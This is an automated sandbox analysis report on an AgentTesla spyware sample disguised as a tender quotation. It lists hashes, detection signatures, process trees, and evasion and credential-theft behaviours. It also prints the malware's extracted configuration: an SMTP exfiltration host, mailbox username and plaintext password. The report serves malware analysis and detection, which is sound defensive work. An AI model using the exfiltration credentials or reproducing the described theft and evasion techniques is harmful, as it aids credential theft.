Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Tender_QUOTATION__LH22000309AA2023.exe

Overview

General Information

Sample Name:Tender_QUOTATION__LH22000309AA2023.exe
Analysis ID:830459
MD5:e615251b80317473a68488a21a1d0457
SHA1:56f3a2dcf6d730126426ce2d65ae5819ca4c753e
SHA256:b4a5e199a29723b27c6aced8f28c7b39f29738bfb2ea3ada079e38c4aad366f4
Tags:AgentTeslaexe
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected unpacking (overwrites its own PE header)
Yara detected AgentTesla
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for dropped file
Detected unpacking (creates a PE file in dynamic memory)
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Contains functionality to read the PEB
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

  • System is w10x64
  • Tender_QUOTATION__LH22000309AA2023.exe (PID: 5428 cmdline: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe MD5: E615251B80317473A68488A21A1D0457)
    • rtvzitvzef.exe (PID: 5404 cmdline: "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer MD5: 18995C06B5CE38C0D46A65451B5AAFB0)
      • conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • rtvzitvzef.exe (PID: 5760 cmdline: C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe MD5: 18995C06B5CE38C0D46A65451B5AAFB0)
  • cleanup
{"Exfil Mode": "SMTP", "Host": "gtasportsltd.com", "Username": "vestorfile@gtasportsltd.com", "Password": "00$rqv^A,;te    "}
SourceRuleDescriptionAuthorStrings
00000003.00000002.507831904.00000000025E1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    Process Memory Space: rtvzitvzef.exe PID: 5760JoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      No Sigma rule has matched
      No Snort rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: Tender_QUOTATION__LH22000309AA2023.exeReversingLabs: Detection: 43%
      Source: Tender_QUOTATION__LH22000309AA2023.exeVirustotal: Detection: 46%Perma Link
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeReversingLabs: Detection: 21%
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeVirustotal: Detection: 37%Perma Link
      Source: Tender_QUOTATION__LH22000309AA2023.exeJoe Sandbox ML: detected
      Source: 3.2.rtvzitvzef.exe.400000.1.unpackAvira: Label: TR/Spy.Gen8
      Source: 3.2.rtvzitvzef.exe.4950000.5.unpackAvira: Label: TR/Spy.Gen8
      Source: 1.2.rtvzitvzef.exe.a23658.2.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "gtasportsltd.com", "Username": "vestorfile@gtasportsltd.com", "Password": "00$rqv^A,;te "}

      Compliance

      barindex
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeUnpacked PE file: 3.2.rtvzitvzef.exe.400000.1.unpack
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeUnpacked PE file: 3.2.rtvzitvzef.exe.4950000.5.unpack
      Source: Tender_QUOTATION__LH22000309AA2023.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: Tender_QUOTATION__LH22000309AA2023.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: wntdll.pdbUGP source: rtvzitvzef.exe, 00000001.00000003.250525206.000000001A170000.00000004.00001000.00020000.00000000.sdmp, rtvzitvzef.exe, 00000001.00000003.248575249.0000000019FE0000.00000004.00001000.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: rtvzitvzef.exe, 00000001.00000003.250525206.000000001A170000.00000004.00001000.00020000.00000000.sdmp, rtvzitvzef.exe, 00000001.00000003.248575249.0000000019FE0000.00000004.00001000.00020000.00000000.sdmp
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405D74
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,0_2_0040699E
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_004089F8 FindFirstFileExW,1_2_004089F8
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_00406715 FindFirstFileExW,3_2_00406715
      Source: Tender_QUOTATION__LH22000309AA2023.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_00405809

      System Summary

      barindex
      Source: initial sampleStatic PE information: Filename: Tender_QUOTATION__LH22000309AA2023.exe
      Source: Tender_QUOTATION__LH22000309AA2023.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00406D5F0_2_00406D5F
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_004103711_2_00410371
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F08B71_2_009F08B7
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F0A341_2_009F0A34
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_0040CBD13_2_0040CBD1
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023C72403_2_023C7240
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023CC2F03_2_023CC2F0
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023C7E583_2_023C7E58
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023C75883_2_023C7588
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023C4C7B3_2_023C4C7B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_056DCC513_2_056DCC51
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_056DC1BC3_2_056DC1BC
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: String function: 004019C0 appears 42 times
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: String function: 00401EE0 appears 33 times
      Source: Tender_QUOTATION__LH22000309AA2023.exeReversingLabs: Detection: 43%
      Source: Tender_QUOTATION__LH22000309AA2023.exeVirustotal: Detection: 46%
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeFile read: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeJump to behavior
      Source: Tender_QUOTATION__LH22000309AA2023.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cer
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe "C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exe" C:\Users\user~1\AppData\Local\Temp\ggbdhaflcbm.cerJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exeJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403640
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeFile created: C:\Users\user~1\AppData\Local\Temp\nsmC7A4.tmpJump to behavior
      Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@6/4@0/0
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_004021AA CoCreateInstance,0_2_004021AA
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_00404AB5
      Source: rtvzitvzef.exe, 00000003.00000002.507831904.000000000265D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5348:120:WilError_01
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_0040147B GetModuleHandleW,GetModuleHandleW,FindResourceW,GetModuleHandleW,LoadResource,LockResource,GetModuleHandleW,SizeofResource,FreeResource,ExitProcess,3_2_0040147B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCommand line argument: A1_2_00410940
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
      Source: Tender_QUOTATION__LH22000309AA2023.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: wntdll.pdbUGP source: rtvzitvzef.exe, 00000001.00000003.250525206.000000001A170000.00000004.00001000.00020000.00000000.sdmp, rtvzitvzef.exe, 00000001.00000003.248575249.0000000019FE0000.00000004.00001000.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: rtvzitvzef.exe, 00000001.00000003.250525206.000000001A170000.00000004.00001000.00020000.00000000.sdmp, rtvzitvzef.exe, 00000001.00000003.248575249.0000000019FE0000.00000004.00001000.00020000.00000000.sdmp

      Data Obfuscation

      barindex
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeUnpacked PE file: 3.2.rtvzitvzef.exe.400000.1.unpack
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeUnpacked PE file: 3.2.rtvzitvzef.exe.400000.1.unpack .text:ER;.rdata:R;.data:W; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeUnpacked PE file: 3.2.rtvzitvzef.exe.4950000.5.unpack
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_00410AA4 push ecx; ret 1_2_00410AB7
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_0040D2E1 push ecx; ret 3_2_0040D2F4
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_023CD286 push esi; retf 3_2_023CD287
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_056D5278 pushfd ; iretd 3_2_056D5279
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeFile created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeJump to dropped file
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeEvasive API call chain: GetPEB, DecisionNodes, ExitProcessgraph_1-10195
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe TID: 2828Thread sleep count: 495 > 30Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeWindow / User API: threadDelayed 495Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F07DA GetSystemInfo,1_2_009F07DA
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405D74
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,0_2_0040699E
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_004089F8 FindFirstFileExW,1_2_004089F8
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_00406715 FindFirstFileExW,3_2_00406715
      Source: C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exeAPI call chain: ExitProcess graph end nodegraph_0-3476
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeAPI call chain: ExitProcess graph end nodegraph_3-29948
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_0040636B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0040636B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_0040B0AF GetProcessHeap,1_2_0040B0AF
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F005F mov eax, dword ptr fs:[00000030h]1_2_009F005F
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F0109 mov eax, dword ptr fs:[00000030h]1_2_009F0109
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F013E mov eax, dword ptr fs:[00000030h]1_2_009F013E
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_009F017B mov eax, dword ptr fs:[00000030h]1_2_009F017B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeMemory allocated: page read and write | page guardJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_004018F8 SetUnhandledExceptionFilter,1_2_004018F8
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_0040636B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_0040636B
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_00401BF3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00401BF3
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 1_2_00401796 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00401796
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_00401E16 SetUnhandledExceptionFilter,3_2_00401E16
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_00401C83 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_00401C83
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_004060A4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,3_2_004060A4
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeCode function: 3_2_00401F2A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_00401F2A

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeSection loaded: unknown target: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe protection: execute and read and writeJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeProcess created: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exe C:\Users\user~1\AppData\Local\Temp\rtvzitvzef.exeJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\rtvzitvzef.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
